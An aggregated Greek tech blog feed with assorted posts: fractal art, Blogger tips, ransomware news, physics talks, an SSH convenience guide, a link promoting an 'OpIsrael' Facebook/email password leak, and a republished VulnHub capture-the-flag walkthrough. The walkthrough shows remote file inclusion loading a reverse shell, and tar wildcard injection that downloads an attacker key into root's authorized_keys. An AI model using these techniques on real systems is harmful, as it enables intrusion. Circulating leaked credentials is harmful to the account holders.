Quantcast
Channel: FoulsCode
Viewing all 21272 articles
Browse latest View live

Digital Art / Fractal Art / Raw Fractals HD

$
0
0
Κάνοντας κλικ στης εικόνες βλέπετε το κανονικό μέγεθος και ανάλυση στις φωτογραφίες όπως και κάθε εικόνα που υπάρχει στην θεματολογία. Και αυτό θα συνεχιστεί και σε αλλα θέματα που θα βάλω στην συνέχει στο blog.








  • Shadow of the Colossus








  • Lachrimae






  • Amazing Surf-Face





  • Road to Nowhere - Pong 825





  • Cold Machines - Pong 619




  • Chemical skies



Στατιστικά για το blog σας που ίσος δεν ξέρατε

$
0
0



Πάμε να δούμε πως μπορούμε να δούμε τα στατιστικά αναλυτικά από τον μπλόγκερ μας

Μερικά στατιστικά:








Και αλλα πολλά πως θα τα δείτε αυτά για το δικό σας blog;

Κλικ να συνδεθείτε στο παρακάτω link: 

Επιμόρφωση webmaster - Google



"OpIsrael Of Gaza Hacker Team # In Password FaceBook And Email" .txt

$
0
0


Κλικ στον παρακάτω σύνδεσμο!

Τα αρχεία .txt δεν φιλοξενούνται στο blog!
5 seconds...


http://adf.ly/1c8hc0

Milnet hacking challenge

$
0
0




It’s been a while since I’ve done one of these. Milnet is the latest VM uploaded toVulnHub, and is a beginner level challenge. Not having anything to do at midnight, I decided to give it a shot, if not to kill some time before crashing. You can grab Milnet here.
Milnet is kind enough to tell us what IP address it’s running on once it boots up. Thank you. In my case, it was 172.16.146.131. As usual, enumeration is key, so I started with a port scan:
# echo 172.16.146.131 > ip
# onetwopunch.sh -t ip -i eth1 -n '-sV -A'
_ _ _
___ _ __ ___ | |___ _____ _ __ _ _ _ __ ___| |__ / \
/ _ \| '_ \ / _ \ | __\ \ /\ / / _ \ | '_ \| | | | '_ \ / __| '_ \ / /
| (_) | | | | __/ ᕦ(ò_óˇ)ᕤ | |_ \ V V / (_) | | |_) | |_| | | | | (__| | | /\_/
\___/|_| |_|\___| \__| \_/\_/ \___/ | .__/ \__,_|_| |_|\___|_| |_\/
|_|
by superkojiman

[+] Protocol : tcp
[+] Interface: eth1
[+] Nmap opts: -sV -A
[+] Targets : ip
[+] Scanning 172.16.146.131 for tcp ports...
[+] Obtaining all open TCP ports using unicornscan...
[+] unicornscan -i eth1 -mT 172.16.146.131:a -l /usr/local/bin/udir/172.16.146.131-tcp.txt
[*] TCP ports for nmap to scan: 22,80,
[+] nmap -e eth1 -sV -A -oX /usr/local/bin/ndir/172.16.146.131-tcp.xml -oG /usr/local/bin/ndir/172.16.146.131-tcp.grep -p 22,80, 172.16.146.131

Starting Nmap 7.12 ( https://nmap.org ) at 2016-06-02 12:31 EDT
Nmap scan report for 172.16.146.131
Host is up (0.00045s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 9b:b5:21:38:96:7f:85:bd:1b:aa:9a:70:cf:db:cd:36 (RSA)
|_ 256 93:30:be:c2:af:dd:81:a8:25:2b:57:e5:01:49:91:57 (ECDSA)
80/tcp open http lighttpd 1.4.35
|_http-server-header: lighttpd/1.4.35
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
MAC Address: 00:0C:29:FD:1A:F8 (VMware)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.4
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT ADDRESS
1 0.45 ms 172.16.146.131

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 21.95 seconds
[+] Scans completed



Port 80 looked promising, so I fired up Burp Suite and pointed Iceweasel to http://172.16.146.131.
After exploring around for a bit, I examined the captured results from Burp Suite and noticed that a POST request was sent when clicking on the buttons on the left:

POST /content.php HTTP/1.1
Host: 172.16.146.131
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:43.0) Gecko/20100101 Firefox/43.0 Iceweasel/43.0.4
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://172.16.146.131/nav.php
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 10
route=bomb

It occured to me that the value assigned to route might be a PHP page without the extension. I intercepted the request in Burp Suite, changed it to index, and proved my assumption was correct.
Attempting to include local files like /etc/password didn’t work. So I decided to try a remote file include instead. A simple PHP page hosted on my attacking machine that printed out “Hello” sufficed:
POST /content.php HTTP/1.1 Host: 172.16.146.131 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:43.0) Gecko/20100101 Firefox/43.0 Iceweasel/43.0.4 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://172.16.146.131/nav.php Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 10 route=http://172.16.146.129/test
Sure enough, the contents of my PHP page were executed and displayed:
Time to get a shell! I’m using a PHP reverse shell from Pentest Monkey, which you can also find in a default Kali install. I saved it as shell.php, setup a netcat listener on port 1234, and replayed the captured HTTP request on Burp Suite, making sure to set route to http://172.16.146.129/shell
POST /content.php HTTP/1.1
Host: 172.16.146.131
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:43.0) Gecko/20100101 Firefox/43.0 Iceweasel/43.0.4
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://172.16.146.131/nav.php
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 32

route=http://172.16.146.129/shell



Forward the request, and I got my shell:
# nc -lvp 445

listening on [any] 445 ...
172.16.146.131: inverse host lookup failed: Unknown host
connect to [172.16.146.129] from (UNKNOWN) [172.16.146.131] 44852
Linux seckenheim.net.mil 4.4.0-22-generic #40-Ubuntu SMP Thu May 12 22:03:46 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux
19:25:27 up 1:05, 0 users, load average: 0.07, 0.04, 0.05
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$
Ok, next step, escalate privil
eges. There’s only one user on the server:
$ ls -l /home/ total 4 drwxr-xr-x 4 langman langman 4096 May 21 22:27 langman $ ls /home/langman/ SDINET $ ls /home/langman/SDINET DCA_Circular.310-P115-1 DefenseCode_Unix_WildCards_Gone_Wild.txt FUN18.TXT compserv.txt fips-index. fips_500_166.txt fips_500_169.txt fips_500_170.txt fips_500_171.txt pentagon.txt sec-8901.txt sec-8902.txt sec-9540.txt sec-9720.txt
Some old school reading right there, except for DefenseCode_Unix_WildCards_Gone_Wild.txt. I remember reading this a while back, and it seemed like it might be a hint on how to progress further.
Anyway, I did more enumeration and found something interesting in /etc/crontab:
$ cat /etc/crontab # /etc/crontab: system-wide crontab # Unlike any other crontab you don't have to run the `crontab' # command to install the new version when you edit this file # and files in /etc/cron.d. These files also have username fields, # that none of the other crontabs do. SHELL=/bin/sh PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin # m h dom mon dow user command */1 * * * * root /backup/backup.sh 17 * * * * root cd / && run-parts --report /etc/cron.hourly 25 6 * * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily ) 47 6 * * 7 root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly ) 52 6 1 * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly ) #
A script called backup.sh was being executed as root. The contents of said script:
$ cat /backup/backup.sh
#!/bin/bash
cd /var/www/html
tar cf /backup/backup.tgz *



Oh ho! Looks like that wildcards document was going to come in handy after all. According to the document, we can exploit tar’s wildcard parsing by creating a file called “–checkpoint=1” and “–checkpoint-action=exec=sh win.sh”.
$ echo ''> '--checkpoint=1'
$ echo ''> '--checkpoint-action=exec=sh win.sh'
$ ls -l
total 128
-rw-rw-rw- 1 www-data www-data 1 Jun 2 19:57 --checkpoint-action=exec=sh win.sh
-rw-rw-rw- 1 www-data www-data 1 Jun 2 19:56 --checkpoint=1
-rw-r--r-- 1 root root 73450 Aug 6 2015 bomb.jpg
-rw-r--r-- 1 root root 3901 May 21 18:56 bomb.php
-rw-r--r-- 1 root root 124 May 21 17:50 content.php
-rw-r--r-- 1 root root 145 May 21 17:17 index.php
-rw-r--r-- 1 www-data www-data 20 May 21 15:54 info.php
-rw-r--r-- 1 root root 109 May 21 18:53 main.php
-rw-r--r-- 1 root root 18260 Jan 22 2012 mj.jpg
-rw-r--r-- 1 root root 532 May 21 23:33 nav.php
-rw-r--r-- 1 root root 253 May 22 21:07 props.php
Now I just needed something in win.sh. I decided to just have it download my id_rsa_pub into /root/.ssh/authorized_keys so I could ssh in as root.
$ printf 'mkdir -p /root/.ssh && chmod 700 /root/.ssh && wget http://172.16.146.129/id_rsa.pub -O /root/.ssh/authorized_keys && chmod 600 /root/.ssh/authorized_keys'> win.sh



Now I just waited for cron to execute backup.sh, which in turn would execute win.sh. I just watched the HTTP requests until I saw my id_rsa.pub get downloaded:
# python -m SimpleHTTPServer 80
Serving HTTP on 0.0.0.0 port 80 ...
172.16.146.131 - - [02/Jun/2016 13:25:27] "GET /shell.php HTTP/1.0" 200 -
172.16.146.131 - - [02/Jun/2016 14:00:01] "GET /id_rsa.pub HTTP/1.1" 200 -
172.16.146.131 - - [02/Jun/2016 14:00:01] "GET /id_rsa.pub HTTP/1.1" 200 -
172.16.146.131 - - [02/Jun/2016 14:00:01] "GET /id_rsa.pub HTTP/1.1" 200 -
172.16.146.131 - - [02/Jun/2016 14:00:01] "GET /id_rsa.pub HTTP/1.1" 200 -
172.16.146.131 - - [02/Jun/2016 14:00:01] "GET /id_rsa.pub HTTP/1.1" 200 -
172.16.146.131 - - [02/Jun/2016 14:00:01] "GET /id_rsa.pub HTTP/1.1" 200 -
172.16.146.131 - - [02/Jun/2016 14:00:01] "GET /id_rsa.pub HTTP/1.1" 200 -
172.16.146.131 - - [02/Jun/2016 14:00:01] "GET /id_rsa.pub HTTP/1.1" 200 -
172.16.146.131 - - [02/Jun/2016 14:00:01] "GET /id_rsa.pub HTTP/1.1" 200 -
172.16.146.131 - - [02/Jun/2016 14:00:01] "GET /id_rsa.pub HTTP/1.1" 200 -
172.16.146.131 - - [02/Jun/2016 14:00:01] "GET /id_rsa.pub HTTP/1.1" 200 -



Moment of truth:
# ssh root@172.16.146.131 The authenticity of host '172.16.146.131 (172.16.146.131)' can't be established. ECDSA key fingerprint is SHA256:q26VY0+zPFYF+vxU8EhtjGn/d5BmiUjb/qTeoGAYGlk. Are you sure you want to continue connecting (yes/no)? yes Warning: Permanently added '172.16.146.131' (ECDSA) to the list of known hosts. Welcome to Ubuntu 16.04 LTS (GNU/Linux 4.4.0-22-generic x86_64) * Documentation: https://help.ubuntu.com/ 19 packages can be updated. 0 updates are security updates. Last login: Sun May 22 21:04:14 2016 from 192.168.0.79 root@seckenheim:~# id uid=0(root) gid=0(root) groups=0(root) root@seckenheim:~# ls credits.txt
Oh yeah! Here are the contents of credits.txt:
root@seckenheim:~# cat credits.txt ,----, ,/ .`| ,` .' : ,---, ,---,. ; ; /,--.' | ,' .' | ,---, .'___,/ ,' | | : ,---.' | ,---, ,---.'| | : | : : : | | .' ,-+-. / | | | : ; |.'; ; : | |,--. ,---. : : |-, ,--.'|' | | | | `----' | | | : ' | / \ : | ;/|| | ,"' | ,--.__| | ' : ; | | /' : / / | | : .'| | / | | / ,' | | | '' : | | |. ' / | | | |-,| | | | |. ' / | ' : | | | ' | :' ; /| ' : ;/|| | | |/ ' ; |: | ; |.' | : :_:,'' | / | | | \| | |--' | | '/ ''---' | | ,' | : | | : .'| |/ | : :| `--'' \ \ / | | ,''---' \ \ / `----' `----' `----' This was milnet for #vulnhub by @teh_warriar I hope you enjoyed this vm! If you liked it drop me a line on twitter or in #vulnhub. I hope you found the clue: /home/langman/SDINET/DefenseCode_Unix_WildCards_Gone_Wild.txt I was sitting on the idea for using this technique for a BOOT2ROOT VM prives for a long time... This VM was inspired by The Cuckoo's Egg. If you have not read it give it a try: http://www.amazon.com/Cuckoos-Egg-Tracking-Computer-Espionage/dp/1416507787/


via: blog.techorganic.com

Hell hacking challenge

$
0
0


One of the latest and more challenging boot2roots released on VulnHub as of late is Hell. This boot2root by Peleus has appeared to cause quite a bit of hair pulling and teeth gnashing whenever it’s mentioned on IRC. I initially started off with his beta version but had to put it away when I got too busy with work. When I was finally ready to try again, the official version had been released, so I downloaded it and started over.





The goal of the challenge is to read /root/flag.txt. I found a way to solve the challenge without getting shell on the target. I think this might be a bug, and at some point I might try to solve it the way it was intended. Still, it’s a solution, so without further ado, here’s the shortcut method of solving Hell.
Enumeration


Using netdiscover, I found the IP address for Hell at 172.16.229.151. An nmap scan on the target revealed quite a few open ports.

Η συνεχεια του αθρόου είναι εδώ ;)  >>((!))



Νέα έκδοση του ransomware Troldesh

$
0
0
Οι ερευνητές ασφαλείας από το Κέντρο Προστασίας Malware της Microsoft (MMPC) ανακάλυψαν μια νέα έκδοση του ransomware Troldeshή όπως αλλιώς ονομάστηκε Encoder.858 και Shade Ransomware.

Ενώ οι ransomware παραλλαγές εξελίσσονται συνεχώς με μικρές αλλαγές εδώ και εκεί, αυτή η έκδοση του Troldesh έρχεται με εκτεταμένες τροποποιήσεις σε ολόκληρη την λειτουργία της απειλής.



Αυτή η τελευταία έκδοση του Troldesh έκανε επιτέλους το άλμα της προς το Dark Web, χρησιμοποιώντας μια ειδική πύλη πληρωμής όπου οι χρήστες μπορούν να πάνε, να εισάγουν ένα ειδικό αναγνωριστικό από το ransomware σημείωμα , και να λάβουν περαιτέρω οδηγίες για το πώς να πληρώσουν.

Οι προηγούμενες εκδόσεις του Troldesh εμφάνιζαν μόνο μια διεύθυνση ηλεκτρονικού ταχυδρομείου, όπου οι χρήστες έπρεπε να στείλουν μήνυμα για να λάβουν περαιτέρω οδηγίες.

Οι ερευνητές ασφαλείας συχνά καταγγέλλουν αυτές τις διευθύνσεις ηλεκτρονικού ταχυδρομείου στις υπηρεσίες όπου φιλοξενούνται και διαγράφονται.
Οι άλλες αλλαγές που περιλαμβάνονται στο Troldesh είναι η χρήση των δύο δημιουργικών προεκτάσεων που προστίθενται στο τέλος των κρυπτογραφημένων αρχείων: .da_vinci_code και .magic_software_syndicate.

Υπάρχουν επίσης ορισμένα λάθη στο ransomware σημείωμα, αλλά δεν είναι και τόσο σημαντικά. Επιπλέον, το Troldesh κρυπτογραφεί τώρα ακόμη περισσότερες κατηγορίες τύπου αρχείου και μολύνει επίσης στους χρήστες με ένα επιπλέον κακόβουλο λογισμικό που ονομάζεται Mexar. Αυτό το κακόβουλο λογισμικό είναι τελείως καινούργιο και η Microsoft το είδε για πρώτη φορά στις 7 Ιουλίου Ως εκ τούτου, υπάρχουν πολύ λίγες λεπτομέρειες σχετικά με το τι κάνει αυτή η απειλή.

Σύμφωνα με τα στατιστικά στοιχεία που δημοσίευσε η η Microsoft πριν από λίγες μέρες, κατατάσσει το Troldesh ως το δέκατο πιο δραστήριο στην οικογένεια των ransomware τις τελευταίες 30 ημέρες.

via: www.secnews.gr

«4η Διάσταση και Θεολογία»

$
0
0

...Στον απόηχο της επιτυχημένης Φιλοσοφικής Περιήγησής μας,
«Ας συναντηθούμε...στο Χρόνο -- Σύμπαν-4η Διάσταση-Χρόνος»...
Συνεχίζουμε . .......
Το Διάλογο μαζί Σας
Η Ένωση Ελλήνων Φυσικών
σε συνεργασία
με το Καφέ-Βιβλιοπωλείο Έναστρον
«4η Διάσταση και Θεολογία»

Ομιλητές:

Θεοδοσίου Στράτος, Πρόεδρος της Ε.Ε.Φ.,Αν. Καθηγητής Παν/μίου Αθηνών

Δανέζης Μάνος, Επίκ. Καθηγητής Παν/μιου Αθηνών

Ταμπάκης Νίκος, Διπλωματούχος. Μηχανικός. ΕΜΠ, Δρ. Φιλοσοφίας

Συντονιστής: Φιλντίσης Παναγιώτης, Α'Αντιπρόεδρος της Ε.Ε.Φ.


Ζούμε σε matrix;... - Μάνος Δανέζης, Στράτος Θεοδοσίου

$
0
0


Είναι πραγματικό το υλικό σύμπαν που αντιλαμβανόμαστε γύρω μας; Mήπως ζούμε σε ένα μάτριξ;
Oι απαντήσεις από τους αστροφυσικούς Μάνο Δανέζη και Στράτο Θεοδοσίου στo 25ο επεισόδιο της σειράς "το Σύμπαν που αγάπησα". Όλα τα βιβλία των καθηγητών θα τα βρείτε στις Εκδόσεις Δίαυλος.


Most Commented Posts Widget for Blogger

$
0
0

Γεια σε όλους τους μπλόγκερ! Εδώ έχω βρει μια εμφάνιση ενός widget για τα σχόλια από τους επισκέπτες του site σας.

Για να το εφαρμόσετε στο blog σας κάνετε αντιγραφή επικόλληση τον παρακάτω κώδικα!




<style>
/* www.foulscode.com */
.commentbubble {
background: #292D30;
width: 49px;
float: left;
margin: 2px 20px 35px 0px;
font-weight: bold;
font-size: 1.3em;
text-align: right;
font-family: georgia,Helvetica;
padding: 0px 0px 5px 0px;
text-align: right;
color: #FFF;
text-shadow: 4px 1px #202022;
position: relative;
top: 5px;
}
.commentbubble:after {
content: '';
position: absolute;
width: 0;
height: 0;
right: 0px;
top: 100%;
border-width: 5px 8px;
border-style: solid;
border-color: #292D30 #292D30 rgba(0, 0, 0, 0) rgba(0, 0, 0, 0);
top: 34px;
right: 6px;
}
</style>
<script type="text/javascript">
function getYpipePP(feed) {
document.write('<ul style="list-style:none; ">');
var i;
for (i = 0; i < feed.count ; i++)
{
var href = "'" + feed.value.items[i].link + "'";
var pTitle = feed.value.items[i].title;
var pComment = + feed.value.items[i].commentcount;
var pList = '<li style="clear:both; padding:10px 0px 30px 0px!important;border-bottom: 1px dashed #dedede; line-height:2em; "> <div class="commentbubble">' +pComment + "&#160;&#160;</div>" + "<a href="+ href + '" target="_blank">' + pTitle ;
document.write(pList);
//to remove comment count delete this line
document.write('</a></li>');
}
document.write('</ul>');
}

/* www.foulscode.com */

</script>
<script src="http://pipes.yahoo.com/pipes/pipe.run?
YourBlogUrl=http://www.foulscode.com&ShowHowMany=6&_id=390e906036f48772b2ed4b5d837af4cd
&_callback=getYpipePP
&_render=json"
type="text/javascript"></script>


Αποθήκευση και είναι έτοιμο!





Η φιλική πλευρά του SSH [1]

$
0
0



Όσοι ασχολούνται μανιωδώς με την ασφάλεια, αναπτύσσουν συγκεκριμένα και (επιτρέψτε μας) ιδιόρρυθμα αντανακλαστικά. Παράδειγμα: Κάθε φορά που ακούνε για το SSH, αναλογίζονται την κρυπτογραφική ισχύ των εμπλεκόμενων αλγορίθμων, συνυπολογίζουν τα πιο πρόσφατα σενάρια συνωμοσίας που άκουσαν και καταλήγουν σε μια εκτίμηση για την ασφάλεια που προσφέρουν οι σχετικές συνδέσεις. Για όλους τους υπόλοιπους, οι συνδέσεις SSH αποτελούν ένα εξαιρετικά χρήσιμο εργαλείο, που μπορεί να μας βοηθήσει σε αμέτρητες περιστάσεις.

Πριν από μερικούς μήνες αναφερθήκαμε στις θεωρητικές αδυναμίες που παρουσιάζουν ορισμένοι αλγόριθμοι, οι οποίοι εμπλέκονται στη δημιουργία των συνδέσεων SSH (Ασφαλέστερο OpenSSH, εδώ και τώρα, τεύχος 40). Ξεκαθαρίσαμε βέβαια ότι πρόκειται για αδυναμίες που δεν πρέπει να μας προκαλούν ιδιαίτερη ανησυχία, αφού για την ώρα τουλάχιστον δεν υπάρχει κάποια γνωστή μέθοδος εκμετάλλευσής τους. Η παρουσίαση του θέματος είχε κυρίως προληπτικό χαρακτήρα και αφορούσε σε μια σειρά ρυθμίσεων που εξασφαλίζουν ότι οι συνδέσεις μας θα είναι όσο το δυνατόν πιο ασφαλείς στο κοντινό (ακριβέστερα: προβλέψιμο) μέλλον. Καλά όλα αυτά, θα πείτε, αλλά η δημιουργία και ο χειρισμός των συνδέσεων SSH δεν είναι πάντοτε εύκολη ή, τέλος πάντων, βολική εργασία. Μήπως θα μπορούσαμε να κάνουμε κάτι γι’ αυτό το άμεσο πρόβλημα του σήμερα; Πώς θα μπορούσαμε να στήσουμε τη μία ή την άλλη σύνδεση, χωρίς κόπο; Με ποιους τρόπους θα μπορούσαμε να αξιοποιήσουμε μια υπάρχουσα σύνδεση;

Παρόμοια ερωτήματα απασχολούν κι εμάς. Έχουμε βλέπετε καμπόσα συστήματα που τρέχουν Linux, ορισμένα φυσικά και περισσότερα εικονικά, ενώ συντηρούμε και (τουλάχιστον) δύο VPSes. Έτσι, πολύ συχνά βρισκόμαστε στη γραμμή εντολών κάποιου συστήματος, προσπαθώντας να πάρουμε τις πιο πρόσφατες ενημερώσεις, να στήσουμε μια υπηρεσία ή εφαρμογή, να τροποποιήσουμε τις ρυθμίσεις κάποιας υπηρεσίας και πάει λέγοντας. Σ’ όλες αυτές τις εργασίες οι συνδέσεις SSH αποδεικνύονται εξαιρετικά χρήσιμες, αφού διευκολύνουν τη “μετάβαση” από το ένα σύστημα στο άλλο, τη μεταφορά αρχείων, την πραγματοποίηση δοκιμών κ.ο.κ. Επομένως, αν μας προβληματίζει κάτι σε σχέση με τη χρήση του SSH και μάλιστα σε καθημερινή βάση, αυτό αφορά στην ευκολία με την οποία κάνουμε τις δουλειές μας και όχι στο ενδεχόμενο να μας παρακολουθεί κάποιος πράκτορας. Σ’ αυτό το άρθρο, λοιπόν, σας παρουσιάζουμε τους τρόπους με τους οποίους αξιοποιούμε *εμείς* τις συνδέσεις SSH. Θα ξεκινήσουμε από απλές ρυθμίσεις που διευκολύνουν την καθημερινή χρήση και θα φτάσουμε σε προχωρημένα κόλπα, για πιο εξεζητημένα και ενδιαφέροντα σενάρια χρήσης. Θέλουμε να πιστεύουμε ότι αυτά τα εφόδια θα σας λύσουν τα χέρια σε πολλές περιστάσεις, ενώ θα σας ενθαρρύνουν να πειραματιστείτε και να ανακαλύψετε ακόμα πιο ευρηματικές χρήσεις για τις συνδέσεις SSH.

Ταχύτητα και ευκολία
Αν και υποσχεθήκαμε να μην καταπιαστούμε με την ασφάλεια, είναι αδύνατο να μην πούμε ούτε μια κουβέντα. Η παρουσίασή μας άλλωστε θα ξεκινήσει με μια μέθοδο που απλοποιεί την εγκαθίδρυση συνδέσεων, ενώ ταυτόχρονα ενισχύει και την ασφάλεια του εκάστοτε SSH server. Πρόκειται για μια διαδικασία δύο απλών βημάτων, που αν την εφαρμόσουμε για κάθε μηχάνημα προς το οποίο συνδεόμαστε, η χρήση του ssh από τη γραμμή εντολών θα γίνει ευκολότερη και ταχύτερη από ποτέ.

Το πρώτο που πρέπει να κάνουμε είναι να απενεργοποιήσουμε τη χρήση των συνθηματικών και να επιβάλλουμε την ταυτοποίηση των χρηστών (user authentication) με κλειδιά κρυπτογράφησης. Με αυτόν τον τρόπο, οι SSH servers στους οποίους συνδεόμαστε δεν θα περιμένουν κάποιο συνθηματικό και ως εκ τούτου, θα είναι αδύνατο να υποστούν επιθέσεις brute force. Επιπρόσθετα, οι συνδέσεις μας θα πραγματοποιούνται χωρίς να απαιτείται η πληκτρολόγηση κάποιου συνθηματικού και χωρίς κάποια άλλη (αισθητή) καθυστέρηση. Επιγραμματικά, η διαδικασία για να ενεργοποιήσουμε αυτόν τον τρόπο σύνδεσης έχει ως εξής:
Δημιουργούμε ένα ζεύγος δημόσιου-ιδιωτικού κλειδιού, στο μηχάνημα από το οποίο πραγματοποιούμε τις συνδέσεις.
Εγκαθιστούμε το δημόσιο κλειδί στους επιθυμητούς λογαριασμούς χρήστη, των μηχανημάτων στα οποία συνδεόμαστε (SSH servers).
Ρυθμίζουμε κατάλληλα τους SSH server, ώστε να μην περιμένουν συνθηματικό και να αξιοποιούν το δημόσιο κλειδί.

Η παραπάνω διαδικασία δεν παρουσιάζει ιδιαίτερη δυσκολία, αλλά χρειάζεται προσοχή. Παρ’ όλα αυτά, καθώς πρόκειται για θέμα που έχουμε καλύψει πολλές φορές στο παρελθόν, δεν θα σας κουράσουμε επαναλαμβάνοντας τις λεπτομέρειες (Ασφαλέστερο OpenSSH, εδώ και τώρακαι Απομακρυσμένα ασφαλή logins, χωρίς password, τεύχη 040και 042αντίστοιχα).

Το δεύτερο βήμα για να πραγματοποιούμε συνδέσεις SSH με τη μέγιστη δυνατή άνεση, είναι να δημιουργήσουμε τα κατάλληλα SSH aliases στον υπολογιστή-πελάτη (υποθέτουμε ότι δουλεύετε από κάποιο Unix-like OS, όπως, π.χ., είναι οι διανομές Linux, τα BSD flavors ή το OS X). Πρόκειται για αυθαίρετα επιλεγμένες λέξεις στις οποίες έχουμε αντιστοιχίσει ένα σύνολο ρυθμίσεων. Για παράδειγμα, σε ένα SSH alias μπορούμε να αντιστοιχίσουμε τη διεύθυνση ενός server και το όνομα χρήστη με το οποίο πραγματοποιούμε συνδέσεις προς τον συγκεκριμένο server. Τα SSH aliases ορίζονται μέσα στο σχετικό αρχείο ρυθμίσεων του λογαριασμού μας (~/.ssh/config) ή στο αρχείο ρυθμίσεων της υπηρεσίας του SSH (/etc/ssh/ssh_config). Προφανώς, στην πρώτη περίπτωση τα SSH aliases ισχύουν μόνο για το λογαριασμό μας, ενώ στη δεύτερη έχουν καθολική ισχύ. Πάντως για να αποφεύγουμε πιθανά μπερδέματα με άλλους χρήστες και για να είμαστε σίγουροι ότι τα aliases που έχουμε ορίσει δεν θα χαθούν εξαιτίας κάποιας αναβάθμισης του συστήματος, είναι προτιμότερο να τα τοποθετούμε στο αρχείο ρυθμίσεων του λογαριασμού μας (δηλαδή στο ~/.ssh/config).



Ο τρόπος δημιουργίας και χρήσης των SSH alias, όπως και η ευκολία που προσφέρουν, μπορεί να φανεί με τη βοήθεια ενός παραδείγματος. Ας υποθέσουμε ότι ο χρήστης spiral συνηθίζει να συνδέεται στο μηχάνημα deltahacker.gr, το οποίο δέχεται συνδέσεις SSH στη θύρα 45123. Ας υποθέσουμε, επίσης, ότι ο spiral συνδέεται στο εν λόγω μηχάνημα ως pvar. Για την πραγματοποίηση αυτής της σύνδεσης, κανονικά θα πρέπει να δώσει κάτι τέτοιο:


ssh pvar@deltahacker.gr –p 45123


Αν ο spiral έχει δημιουργήσει ένα ζεύγος κλειδιών κι έχει εγκαταστήσει το δημόσιο κλειδί στον λογαριασμό του pvar στο deltahacker.gr, η σύνδεση θα πραγματοποιηθεί αμέσως και χωρίς καμία περαιτέρω καθυστέρηση. Όμως αυτή η διαδικασία μπορεί να απλοποιηθεί ακόμα περισσότερο, αρκεί ο spiral να ανοίξει το αρχείο ~/.ssh/config και να προσθέσει τα ακόλουθα:


Host delta
HostName deltahacker.gr
Port 45123
User pvar


Με αυτόν τον τρόπο δημιουργείται ένα SSH alias (η λέξη “delta”) που παραπέμπει στο deltahacker.gr, στο λογαριασμό του pvar και στη θύρα 45123. Μετά από αυτή τη μικρή προσθήκη στο αρχείο ρυθμίσεων, ο spiral θα μπορεί να συνδέεται εκτελώντας αυτό:


ssh delta


Όπως βλέπετε, τα πράγματα είναι πολύ πιο εύκολα τώρα. Μη νομίζετε όμως ότι είμαστε τεμπέληδες. Η ευκολία δεν έγκειται στη λιγότερη πληκτρολόγηση. Σκεφτείτε το σενάριο κατά το οποίο θέλουμε να συνδεόμαστε σε δυο-τρία συστήματα, σε διαφορετικούς λογαριασμούς και σε διαφορετικές θύρες. Σε αυτή την περίπτωση, η χρήση των alias εξασφαλίζει ότι δεν θα μπερδέψουμε ποτέ τα μηχανήματα, τις θύρες και τους λογαριασμούς, ούτε θα χρειαστεί να αποστηθίσουμε τους σωστούς συνδυασμούς. Σκεφτείτε τώρα κι ένα script, που συνδέεται σε διάφορα μηχανήματα και πραγματοποιεί εργασίες όπως η λήψη ενημερώσεων, η περιοδική μεταβολή κάποιων ρυθμίσεων ασφαλείας και πάει λέγοντας. Με τα βήματα που περιγράψαμε, ένα τέτοιο script θα εκτελείται πάντοτε με επιτυχία, χωρίς να είμαστε μονίμως από πάνω του για να εισάγουμε κωδικούς πρόσβασης. Εξάλλου, η χρήση των SSH alias καθιστά τον κώδικα πιο σύντομο και περισσότερο ευανάγνωστο.



Εκτέλεση προγραμμάτων
Συχνά πυκνά προκύπτει η ανάγκη να τρέξουμε ένα ή περισσότερα προγράμματα σε κάποιο απομακρυσμένο μηχάνημα και είτε να παρακολουθήσουμε την έξοδό τους στην οθόνη, είτε να την αποθηκεύσουμε σε κάποιο αρχείο. Για παράδειγμα, μπορεί να θέλουμε να τρέξουμε το top σε κάποιο μικρό VPS, για να δούμε ποιο πρόγραμμα το επιβαρύνει περισσότερο. Όταν θέλουμε να κάνουμε μια τέτοια δουλειά στα “πεταχτά”, δεν είναι υποχρεωτικό να μεταφερθούμε στη γραμμή εντολών του ξένου συστήματος. Μπορούμε να κάνουμε τη δουλειά μας γρήγορα, χωρίς να εγκαταλείψουμε το δικό μας σύστημα. Συνεχίζοντας το παράδειγμα με το χρήστη spiral, αν αποφάσιζε να ρίξει μια ματιά στις ρυθμίσεις του nginx στο deltahacker.gr, θα μπορούσε να δώσει κάτι τέτοιο:


ssh delta cat /etc/nginx/sites-enabled/deltahacker


Το συγκεκριμένο κολπάκι είναι γνωστό σε αρκετούς. Υπάρχουν όμως κάποιες λεπτομέρειες γύρω από τη χρήση του, που δεν είναι το ίδιο διαδεδομένες.

